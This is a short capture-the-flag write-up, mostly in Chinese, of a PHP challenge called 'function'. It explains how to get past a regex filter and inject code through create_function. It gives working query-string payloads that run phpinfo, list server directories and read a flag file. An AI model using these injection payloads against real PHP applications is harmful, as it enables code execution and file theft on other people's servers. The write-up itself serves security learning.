Code-Breaking Write Up


function

source:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

//D 如果使用$限制结尾字符,则不允许结尾有换行;
//i 不区分(ignore)大小写;
//s 特殊字符圆点 . 中包含换行符
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

可以使用create_function(),用法:https://php.net/manual/zh/function.create-function.php

即第一个为参数新建函数的参数,第二个参数为代码。
image_1d4vegnss6en1uup1mm61c6a1db99.png-10.6kB

create_function('','$GET_['fname']')

等价于

function f() { $GET_['fname']; }

于是传入参数为 1;}phpinfo();/*即

function f(){1;}phpinfo();/*}

这里$action还需要绕一下正则,使用\绕过,\func()表示调用全局空间的函数,如果直接写函数名fun()调用,调用的时候其实相当于写了一个相对路径,而用\func(),即使用的是绝对路径。

拿到phpinfo():

?action=\create_function&arg=1;}phpinfo();/*

列文件:?action=\create_function&arg=1;}var_dump(scandir('/var/www'));/*

image_1d4vigcfa8v11qu1q2386gea69.png-128.6kB

读flag:

action=\create_function&arg=1;}var_dump(file_get_contents("../flag_h0w2execute_arb1trary_c0de"));/*

image_1d4vikbvq1e371d0a14bl1bue1k8m.png-113.4kB

持续更新ing